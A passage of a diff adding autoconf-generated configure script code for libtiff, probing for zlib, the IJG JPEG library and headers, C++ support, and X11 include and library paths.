+_ACEOF
+
+  LIBS="-lz $LIBS"
+
+  if test "$HAVE_RPATH" = "yes" -a "x$with_zlib_lib_dir" != "x" ; then
+    LIBDIR="-R $with_zlib_lib_dir $LIBDIR"
+  fi
+
+fi
+
+
+# Check whether --enable-pixarlog or --disable-pixarlog was given.
+if test "${enable_pixarlog+set}" = set; then
+  enableval="$enable_pixarlog"
+  HAVE_PIXARLOG=$enableval
+else
+  HAVE_PIXARLOG=yes
+fi;
+
+if test "$HAVE_ZLIB" = "yes" -a "$HAVE_PIXARLOG" = "yes" ; then
+
+cat >>confdefs.h <<\_ACEOF
+#define PIXARLOG_SUPPORT 1
+_ACEOF
+
+else
+  HAVE_PIXARLOG=no
+fi
+
+
+HAVE_JPEG=no
+
+# Check whether --enable-jpeg or --disable-jpeg was given.
+if test "${enable_jpeg+set}" = set; then
+  enableval="$enable_jpeg"
+
+fi;
+
+# Check whether --with-jpeg-include-dir or --without-jpeg-include-dir was given.
+if test "${with_jpeg_include_dir+set}" = set; then
+  withval="$with_jpeg_include_dir"
+
+fi;
+
+# Check whether --with-jpeg-lib-dir or --without-jpeg-lib-dir was given.
+if test "${with_jpeg_lib_dir+set}" = set; then
+  withval="$with_jpeg_lib_dir"
+
+fi;
+
+if test "x$enable_jpeg" != "xno" ; then
+
+  if test "x$with_jpeg_lib_dir" != "x" ; then
+    LDFLAGS="-L$with_jpeg_lib_dir $LDFLAGS"
+
+  fi
+
+  echo "$as_me:$LINENO: checking for jpeg_read_scanlines in -ljpeg" >&5
+echo $ECHO_N "checking for jpeg_read_scanlines in -ljpeg... $ECHO_C" >&6
+if test "${ac_cv_lib_jpeg_jpeg_read_scanlines+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  ac_check_lib_save_LIBS=$LIBS
+LIBS="-ljpeg  $LIBS"
+cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+
+/* Override any gcc2 internal prototype to avoid an error.  */
+#ifdef __cplusplus
+extern "C"
+#endif
+/* We use char because int might match the return type of a gcc2
+   builtin and then its argument prototype would still apply.  */
+char jpeg_read_scanlines ();
+int
+main ()
+{
+jpeg_read_scanlines ();
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext conftest$ac_exeext
+if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5
+  (eval $ac_link) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest$ac_exeext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  ac_cv_lib_jpeg_jpeg_read_scanlines=yes
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ac_cv_lib_jpeg_jpeg_read_scanlines=no
+fi
+rm -f conftest.err conftest.$ac_objext \
+      conftest$ac_exeext conftest.$ac_ext
+LIBS=$ac_check_lib_save_LIBS
+fi
+echo "$as_me:$LINENO: result: $ac_cv_lib_jpeg_jpeg_read_scanlines" >&5
+echo "${ECHO_T}$ac_cv_lib_jpeg_jpeg_read_scanlines" >&6
+if test $ac_cv_lib_jpeg_jpeg_read_scanlines = yes; then
+  jpeg_lib=yes
+else
+  jpeg_lib=no
+fi
+
+  if test "$jpeg_lib" = "no" -a "x$with_jpeg_lib_dir" != "x" ; then
+    { { echo "$as_me:$LINENO: error: IJG JPEG library not found at $with_jpeg_lib_dir" >&5
+echo "$as_me: error: IJG JPEG library not found at $with_jpeg_lib_dir" >&2;}
+   { (exit 1); exit 1; }; }
+  fi
+
+  if test "x$with_jpeg_include_dir" != "x" ; then
+    CPPFLAGS="-I$with_jpeg_include_dir $CPPFLAGS"
+  fi
+  if test "${ac_cv_header_jpeglib_h+set}" = set; then
+  echo "$as_me:$LINENO: checking for jpeglib.h" >&5
+echo $ECHO_N "checking for jpeglib.h... $ECHO_C" >&6
+if test "${ac_cv_header_jpeglib_h+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+fi
+echo "$as_me:$LINENO: result: $ac_cv_header_jpeglib_h" >&5
+echo "${ECHO_T}$ac_cv_header_jpeglib_h" >&6
+else
+  # Is the header compilable?
+echo "$as_me:$LINENO: checking jpeglib.h usability" >&5
+echo $ECHO_N "checking jpeglib.h usability... $ECHO_C" >&6
+cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+$ac_includes_default
+#include <jpeglib.h>
+_ACEOF
+rm -f conftest.$ac_objext
+if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+  (eval $ac_compile) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest.$ac_objext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  ac_header_compiler=yes
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ac_header_compiler=no
+fi
+rm -f conftest.err conftest.$ac_objext conftest.$ac_ext
+echo "$as_me:$LINENO: result: $ac_header_compiler" >&5
+echo "${ECHO_T}$ac_header_compiler" >&6
+
+# Is the header present?
+echo "$as_me:$LINENO: checking jpeglib.h presence" >&5
+echo $ECHO_N "checking jpeglib.h presence... $ECHO_C" >&6
+cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+#include <jpeglib.h>
+_ACEOF
+if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5
+  (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } >/dev/null; then
+  if test -s conftest.err; then
+    ac_cpp_err=$ac_c_preproc_warn_flag
+    ac_cpp_err=$ac_cpp_err$ac_c_werror_flag
+  else
+    ac_cpp_err=
+  fi
+else
+  ac_cpp_err=yes
+fi
+if test -z "$ac_cpp_err"; then
+  ac_header_preproc=yes
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+  ac_header_preproc=no
+fi
+rm -f conftest.err conftest.$ac_ext
+echo "$as_me:$LINENO: result: $ac_header_preproc" >&5
+echo "${ECHO_T}$ac_header_preproc" >&6
+
+# So?  What about this header?
+case $ac_header_compiler:$ac_header_preproc:$ac_c_preproc_warn_flag in
+  yes:no: )
+    { echo "$as_me:$LINENO: WARNING: jpeglib.h: accepted by the compiler, rejected by the preprocessor!" >&5
+echo "$as_me: WARNING: jpeglib.h: accepted by the compiler, rejected by the preprocessor!" >&2;}
+    { echo "$as_me:$LINENO: WARNING: jpeglib.h: proceeding with the compiler's result" >&5
+echo "$as_me: WARNING: jpeglib.h: proceeding with the compiler's result" >&2;}
+    ac_header_preproc=yes
+    ;;
+  no:yes:* )
+    { echo "$as_me:$LINENO: WARNING: jpeglib.h: present but cannot be compiled" >&5
+echo "$as_me: WARNING: jpeglib.h: present but cannot be compiled" >&2;}
+    { echo "$as_me:$LINENO: WARNING: jpeglib.h:     check for missing prerequisite headers?" >&5
+echo "$as_me: WARNING: jpeglib.h:     check for missing prerequisite headers?" >&2;}
+    { echo "$as_me:$LINENO: WARNING: jpeglib.h: see the Autoconf documentation" >&5
+echo "$as_me: WARNING: jpeglib.h: see the Autoconf documentation" >&2;}
+    { echo "$as_me:$LINENO: WARNING: jpeglib.h:     section \"Present But Cannot Be Compiled\"" >&5
+echo "$as_me: WARNING: jpeglib.h:     section \"Present But Cannot Be Compiled\"" >&2;}
+    { echo "$as_me:$LINENO: WARNING: jpeglib.h: proceeding with the preprocessor's result" >&5
+echo "$as_me: WARNING: jpeglib.h: proceeding with the preprocessor's result" >&2;}
+    { echo "$as_me:$LINENO: WARNING: jpeglib.h: in the future, the compiler will take precedence" >&5
+echo "$as_me: WARNING: jpeglib.h: in the future, the compiler will take precedence" >&2;}
+    (
+      cat <<\_ASBOX
+## -------------------------------------- ##
+## Report this to tiff@lists.maptools.org ##
+## -------------------------------------- ##
+_ASBOX
+    ) |
+      sed "s/^/$as_me: WARNING:     /" >&2
+    ;;
+esac
+echo "$as_me:$LINENO: checking for jpeglib.h" >&5
+echo $ECHO_N "checking for jpeglib.h... $ECHO_C" >&6
+if test "${ac_cv_header_jpeglib_h+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  ac_cv_header_jpeglib_h=$ac_header_preproc
+fi
+echo "$as_me:$LINENO: result: $ac_cv_header_jpeglib_h" >&5
+echo "${ECHO_T}$ac_cv_header_jpeglib_h" >&6
+
+fi
+if test $ac_cv_header_jpeglib_h = yes; then
+  jpeg_h=yes
+else
+  jpeg_h=no
+fi
+
+
+  if test "$jpeg_h" = "no" -a "x$with_jpeg_include_dir" != "x" ; then
+    { { echo "$as_me:$LINENO: error: IJG JPEG library headers not found at $with_jpeg_include_dir" >&5
+echo "$as_me: error: IJG JPEG library headers not found at $with_jpeg_include_dir" >&2;}
+   { (exit 1); exit 1; }; }
+  fi
+
+  if test "$jpeg_lib" = "yes" -a "$jpeg_h" = "yes" ; then
+    HAVE_JPEG=yes
+  fi
+
+fi
+
+if test "$HAVE_JPEG" = "yes" ; then
+
+cat >>confdefs.h <<\_ACEOF
+#define JPEG_SUPPORT 1
+_ACEOF
+
+  LIBS="-ljpeg $LIBS"
+
+  if test "$HAVE_RPATH" = "yes" -a "x$with_jpeg_lib_dir" != "x" ; then
+    LIBDIR="-R $with_jpeg_lib_dir $LIBDIR"
+  fi
+
+fi
+
+
+# Check whether --enable-old-jpeg or --disable-old-jpeg was given.
+if test "${enable_old_jpeg+set}" = set; then
+  enableval="$enable_old_jpeg"
+  HAVE_OJPEG=$enableval
+else
+  HAVE_OJPEG=no
+fi;
+
+if test "$HAVE_JPEG" = "yes" -a "$HAVE_OJPEG" = "yes" ; then
+
+cat >>confdefs.h <<\_ACEOF
+#define OJPEG_SUPPORT 1
+_ACEOF
+
+else
+  HAVE_OJPEG=no
+fi
+
+
+# Check whether --enable-cxx or --disable-cxx was given.
+if test "${enable_cxx+set}" = set; then
+  enableval="$enable_cxx"
+  HAVE_CXX=$enableval
+else
+  HAVE_CXX=yes
+fi;
+
+if test "$HAVE_CXX" = "yes" ; then
+
+cat >>confdefs.h <<\_ACEOF
+#define CXX_SUPPORT 1
+_ACEOF
+
+else
+  HAVE_CXX=no
+fi
+
+
+
+if test "$HAVE_CXX" = "yes"; then
+  HAVE_CXX_TRUE=
+  HAVE_CXX_FALSE='#'
+else
+  HAVE_CXX_TRUE='#'
+  HAVE_CXX_FALSE=
+fi
+
+
+
+HAVE_OPENGL=no
+
+
+if test "x$ac_path_x_has_been_run" != xyes; then
+  echo "$as_me:$LINENO: checking for X" >&5
+echo $ECHO_N "checking for X... $ECHO_C" >&6
+
+ac_path_x_has_been_run=yes
+
+# Check whether --with-x or --without-x was given.
+if test "${with_x+set}" = set; then
+  withval="$with_x"
+
+fi;
+# $have_x is `yes', `no', `disabled', or empty when we do not yet know.
+if test "x$with_x" = xno; then
+  # The user explicitly disabled X.
+  have_x=disabled
+else
+  if test "x$x_includes" != xNONE && test "x$x_libraries" != xNONE; then
+    # Both variables are already set.
+    have_x=yes
+  else
+    if test "${ac_cv_have_x+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  # One or both of the vars are not set, and there is no cached value.
+ac_x_includes=no ac_x_libraries=no
+rm -fr conftest.dir
+if mkdir conftest.dir; then
+  cd conftest.dir
+  # Make sure to not put "make" in the Imakefile rules, since we grep it out.
+  cat >Imakefile <<'_ACEOF'
+acfindx:
+	@echo 'ac_im_incroot="${INCROOT}"; ac_im_usrlibdir="${USRLIBDIR}"; ac_im_libdir="${LIBDIR}"'
+_ACEOF
+  if (xmkmf) >/dev/null 2>/dev/null && test -f Makefile; then
+    # GNU make sometimes prints "make[1]: Entering...", which would confuse us.
+    eval `${MAKE-make} acfindx 2>/dev/null | grep -v make`
+    # Open Windows xmkmf reportedly sets LIBDIR instead of USRLIBDIR.
+    for ac_extension in a so sl; do
+      if test ! -f $ac_im_usrlibdir/libX11.$ac_extension &&
+	 test -f $ac_im_libdir/libX11.$ac_extension; then
+	ac_im_usrlibdir=$ac_im_libdir; break
+      fi
+    done
+    # Screen out bogus values from the imake configuration.  They are
+    # bogus both because they are the default anyway, and because
+    # using them would break gcc on systems where it needs fixed includes.
+    case $ac_im_incroot in
+	/usr/include) ;;
+	*) test -f "$ac_im_incroot/X11/Xos.h" && ac_x_includes=$ac_im_incroot;;
+    esac
+    case $ac_im_usrlibdir in
+	/usr/lib | /lib) ;;
+	*) test -d "$ac_im_usrlibdir" && ac_x_libraries=$ac_im_usrlibdir ;;
+    esac
+  fi
+  cd ..
+  rm -fr conftest.dir
+fi
+
+# Standard set of common directories for X headers.
+# Check X11 before X11Rn because it is often a symlink to the current release.
+ac_x_header_dirs='
+/usr/X11/include
+/usr/X11R6/include
+/usr/X11R5/include
+/usr/X11R4/include
+
+/usr/include/X11
+/usr/include/X11R6
+/usr/include/X11R5
+/usr/include/X11R4
+
+/usr/local/X11/include
+/usr/local/X11R6/include
+/usr/local/X11R5/include
+/usr/local/X11R4/include
+
+/usr/local/include/X11
+/usr/local/include/X11R6
+/usr/local/include/X11R5
+/usr/local/include/X11R4
+
+/usr/X386/include
+/usr/x386/include
+/usr/XFree86/include/X11
+
+/usr/include
+/usr/local/include
+/usr/unsupported/include
+/usr/athena/include
+/usr/local/x11r5/include
+/usr/lpp/Xamples/include
+
+/usr/openwin/include
+/usr/openwin/share/include'
+
+if test "$ac_x_includes" = no; then
+  # Guess where to find include files, by looking for a specified header file.
+  # First, try using that file with no special directory specified.
+  cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+#include <X11/Xlib.h>
+_ACEOF
+if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5
+  (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } >/dev/null; then
+  if test -s conftest.err; then
+    ac_cpp_err=$ac_c_preproc_warn_flag
+    ac_cpp_err=$ac_cpp_err$ac_c_werror_flag
+  else
+    ac_cpp_err=
+  fi
+else
+  ac_cpp_err=yes
+fi
+if test -z "$ac_cpp_err"; then
+  # We can compile using X headers with no special include directory.
+ac_x_includes=
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+  for ac_dir in $ac_x_header_dirs; do
+  if test -r "$ac_dir/X11/Xlib.h"; then
+    ac_x_includes=$ac_dir
+    break
+  fi
+done
+fi
+rm -f conftest.err conftest.$ac_ext
+fi # $ac_x_includes = no
+
+if test "$ac_x_libraries" = no; then
+  # Check for the libraries.
+  # See if we find them without any special options.
+  # Don't add to $LIBS permanently.
+  ac_save_LIBS=$LIBS
+  LIBS="-lX11 $LIBS"
+  cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+#include <X11/Xlib.h>
+int
+main ()
+{
+XrmInitialize ()
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext conftest$ac_exeext
+if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5
+  (eval $ac_link) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest$ac_exeext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  LIBS=$ac_save_LIBS
+# We can link X programs with no special library path.
+ac_x_libraries=
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+LIBS=$ac_save_LIBS
+for ac_dir in `echo "$ac_x_includes $ac_x_header_dirs" | sed s/include/lib/g`
+do
+  # Don't even attempt the hair of trying to link an X program!
+  for ac_extension in a so sl; do
+    if test -r $ac_dir/libX11.$ac_extension; then
+      ac_x_libraries=$ac_dir
+      break 2
+    fi
+  done
+done
+fi
+rm -f conftest.err conftest.$ac_objext \
+      conftest$ac_exeext conftest.$ac_ext
+fi # $ac_x_libraries = no
+
+if test "$ac_x_includes" = no || test "$ac_x_libraries" = no; then
+  # Didn't find X anywhere.  Cache the known absence of X.
+  ac_cv_have_x="have_x=no"
+else
+  # Record where we found X for the cache.
+  ac_cv_have_x="have_x=yes \
+		ac_x_includes=$ac_x_includes ac_x_libraries=$ac_x_libraries"
+fi
+fi
+
+  fi
+  eval "$ac_cv_have_x"
+fi # $with_x != no
+
+if test "$have_x" != yes; then
+  echo "$as_me:$LINENO: result: $have_x" >&5
+echo "${ECHO_T}$have_x" >&6
+  no_x=yes
+else
+  # If each of the values was on the command line, it overrides each guess.
+  test "x$x_includes" = xNONE && x_includes=$ac_x_includes
+  test "x$x_libraries" = xNONE && x_libraries=$ac_x_libraries
+  # Update the cache value to reflect the command line values.
+  ac_cv_have_x="have_x=yes \
+		ac_x_includes=$x_includes ac_x_libraries=$x_libraries"
+  # It might be that x_includes is empty (headers are found in the
+  # standard search path. Then output the corresponding message
+  ac_out_x_includes=$x_includes
+  test "x$x_includes" = x && ac_out_x_includes="in standard search path"
+  echo "$as_me:$LINENO: result: libraries $x_libraries, headers $ac_out_x_includes" >&5
+echo "${ECHO_T}libraries $x_libraries, headers $ac_out_x_includes" >&6
+fi
+
+fi
+if test "$no_x" = yes; then
+  # Not all programs may use this symbol, but it does not hurt to define it.
+
+cat >>confdefs.h <<\_ACEOF
+#define X_DISPLAY_MISSING 1
+_ACEOF
+
+  X_CFLAGS= X_PRE_LIBS= X_LIBS= X_EXTRA_LIBS=
+else
+  if test -n "$x_includes"; then
+    X_CFLAGS="$X_CFLAGS -I$x_includes"
+  fi
+
+  # It would also be nice to do this for all -L options, not just this one.
+  if test -n "$x_libraries"; then
+    X_LIBS="$X_LIBS -L$x_libraries"
+    # For Solaris; some versions of Sun CC require a space after -R and
+    # others require no space.  Words are not sufficient . . . .
+    case `(uname -sr) 2>/dev/null` in
+    "SunOS 5"*)
+      echo "$as_me:$LINENO: checking whether -R must be followed by a space" >&5
+echo $ECHO_N "checking whether -R must be followed by a space... $ECHO_C" >&6
+      ac_xsave_LIBS=$LIBS; LIBS="$LIBS -R$x_libraries"
+      cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+
+int
+main ()
+{
+
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext conftest$ac_exeext
+if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5
+  (eval $ac_link) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest$ac_exeext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  ac_R_nospace=yes
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ac_R_nospace=no
+fi
+rm -f conftest.err conftest.$ac_objext \
+      conftest$ac_exeext conftest.$ac_ext
+      if test $ac_R_nospace = yes; then
+	echo "$as_me:$LINENO: result: no" >&5
+echo "${ECHO_T}no" >&6
+	X_LIBS="$X_LIBS -R$x_libraries"
+      else
+	LIBS="$ac_xsave_LIBS -R $x_libraries"
+	cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+
+int
+main ()
+{
+
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext conftest$ac_exeext
+if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5
+  (eval $ac_link) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest$ac_exeext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  ac_R_space=yes
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ac_R_space=no
+fi
+rm -f conftest.err conftest.$ac_objext \
+      conftest$ac_exeext conftest.$ac_ext
+	if test $ac_R_space = yes; then
+	  echo "$as_me:$LINENO: result: yes" >&5
+echo "${ECHO_T}yes" >&6
+	  X_LIBS="$X_LIBS -R $x_libraries"
+	else
+	  echo "$as_me:$LINENO: result: neither works" >&5
+echo "${ECHO_T}neither works" >&6
+	fi
+      fi
+      LIBS=$ac_xsave_LIBS
+    esac
+  fi
+
+  # Check for system-dependent libraries X programs must link with.
+  # Do this before checking for the system-independent R6 libraries
+  # (-lICE), since we may need -lsocket or whatever for X linking.
+
+  if test "$ISC" = yes; then
+    X_EXTRA_LIBS="$X_EXTRA_LIBS -lnsl_s -linet"
+  else
+    # Martyn Johnson says this is needed for Ultrix, if the X
+    # libraries were built with DECnet support.  And Karl Berry says
+    # the Alpha needs dnet_stub (dnet does not exist).
+    ac_xsave_LIBS="$LIBS"; LIBS="$LIBS $X_LIBS -lX11"
+    cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+
+/* Override any gcc2 internal prototype to avoid an error.  */
+#ifdef __cplusplus
+extern "C"
+#endif
+/* We use char because int might match the return type of a gcc2
+   builtin and then its argument prototype would still apply.  */
+char XOpenDisplay ();
+int
+main ()
+{
+XOpenDisplay ();
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext conftest$ac_exeext
+if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5
+  (eval $ac_link) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest$ac_exeext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  :
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+echo "$as_me:$LINENO: checking for dnet_ntoa in -ldnet" >&5
+echo $ECHO_N "checking for dnet_ntoa in -ldnet... $ECHO_C" >&6
+if test "${ac_cv_lib_dnet_dnet_ntoa+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  ac_check_lib_save_LIBS=$LIBS
+LIBS="-ldnet  $LIBS"
+cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+
+/* Override any gcc2 internal prototype to avoid an error.  */
+#ifdef __cplusplus
+extern "C"
+#endif
+/* We use char because int might match the return type of a gcc2
+   builtin and then its argument prototype would still apply.  */
+char dnet_ntoa ();
+int
+main ()
+{
+dnet_ntoa ();
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext conftest$ac_exeext
+if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5
+  (eval $ac_link) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest$ac_exeext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  ac_cv_lib_dnet_dnet_ntoa=yes
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ac_cv_lib_dnet_dnet_ntoa=no
+fi
+rm -f conftest.err conftest.$ac_objext \
+      conftest$ac_exeext conftest.$ac_ext
+LIBS=$ac_check_lib_save_LIBS
+fi
+echo "$as_me:$LINENO: result: $ac_cv_lib_dnet_dnet_ntoa" >&5
+echo "${ECHO_T}$ac_cv_lib_dnet_dnet_ntoa" >&6
+if test $ac_cv_lib_dnet_dnet_ntoa = yes; then
+  X_EXTRA_LIBS="$X_EXTRA_LIBS -ldnet"
+fi
+
+    if test $ac_cv_lib_dnet_dnet_ntoa = no; then
+      echo "$as_me:$LINENO: checking for dnet_ntoa in -ldnet_stub" >&5
+echo $ECHO_N "checking for dnet_ntoa in -ldnet_stub... $ECHO_C" >&6
+if test "${ac_cv_lib_dnet_stub_dnet_ntoa+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  ac_check_lib_save_LIBS=$LIBS
+LIBS="-ldnet_stub  $LIBS"
+cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+
+/* Override any gcc2 internal prototype to avoid an error.  */
+#ifdef __cplusplus
+extern "C"
+#endif
+/* We use char because int might match the return type of a gcc2
+   builtin and then its argument prototype would still apply.  */
